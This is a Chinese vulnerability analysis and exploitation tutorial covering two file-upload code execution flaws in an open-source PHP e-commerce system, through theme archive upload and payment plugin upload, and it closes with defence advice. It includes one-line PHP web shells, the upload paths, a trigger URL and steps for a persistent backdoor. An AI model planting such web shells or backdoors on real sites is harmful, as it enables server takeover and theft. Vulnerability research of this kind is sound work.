某开源商城的代码分析
字数 1084 2025-08-29 08:30:05
开源商城系统漏洞分析与利用教学文档
1. 任意代码执行漏洞1:主题上传利用
漏洞位置
ThemeAdminUploadHandle 类中的主题上传功能
漏洞原理
- 系统允许上传主题压缩包,解压后会将文件放置在特定目录
- 虽然有以下限制:
- 文件必须位于
_html_或_static_文件夹下 - 禁止上传
.php后缀文件
- 文件必须位于
- 但可以通过上传包含PHP代码的HTML文件实现代码执行
利用步骤
-
准备一个压缩包,结构如下:
_html_/default/agreement/1.html其中
1.html包含PHP代码,如:<?php system($_GET['1']); ?> -
上传该主题压缩包
-
上传成功后访问:
http://127.0.0.1/?s=agreement/index/&1=whoami即可执行系统命令
关键点
- 系统会动态加载模板目录下的文件
- 通过HTML文件绕过PHP后缀限制
- 利用路径
/app/index/view/default/agreement实现代码执行
2. 任意代码执行漏洞2:支付插件上传利用
漏洞位置
app/admin/controller/Payment.php 中的 Upload() 和 UploadHandle 方法
漏洞原理
- 系统允许上传支付插件
- 上传流程:
- 先使用
stream_get_contents读取文件内容 - 然后进行校验
- 先使用
- 校验函数
GetPaymentConfig()会通过class_exists动态加载上传的PHP文件 - 虽然有
strpos($file_content, 'eval(') === false过滤,但很容易绕过
利用步骤
方法一:直接上传PHP文件
- 创建一个
1.php文件,内容为:<?php // 任意PHP代码 system($_GET['cmd']); ?> - 上传该文件
- 系统会自动加载并执行其中的代码
方法二:持久化上传
- 创建一个合法的支付插件文件,如
AlipayScanQrcode.php - 在其中插入恶意代码
- 上传后该文件会被系统持续加载
关键点
- 文件内容先被读取后校验,存在时间差
class_exists会动态加载PHP文件eval过滤可轻易绕过- 可实现持久化后门
防御建议
-
对于主题上传:
- 严格限制上传文件类型
- 对HTML文件内容进行检查
- 禁止动态执行模板文件中的代码
-
对于支付插件上传:
- 实现白名单机制,只允许特定支付插件
- 在加载前进行完整的安全检查
- 禁止用户上传可执行代码
-
通用防御:
- 实现文件上传内容安全检查
- 限制上传文件的执行权限
- 对用户上传的文件进行隔离存储
总结
这两个漏洞都源于对用户上传文件处理不当,结合系统动态加载机制导致的任意代码执行。攻击者可以通过精心构造的文件上传实现系统命令执行,危害极大。开发者在实现文件上传功能时应特别注意安全校验机制的设计。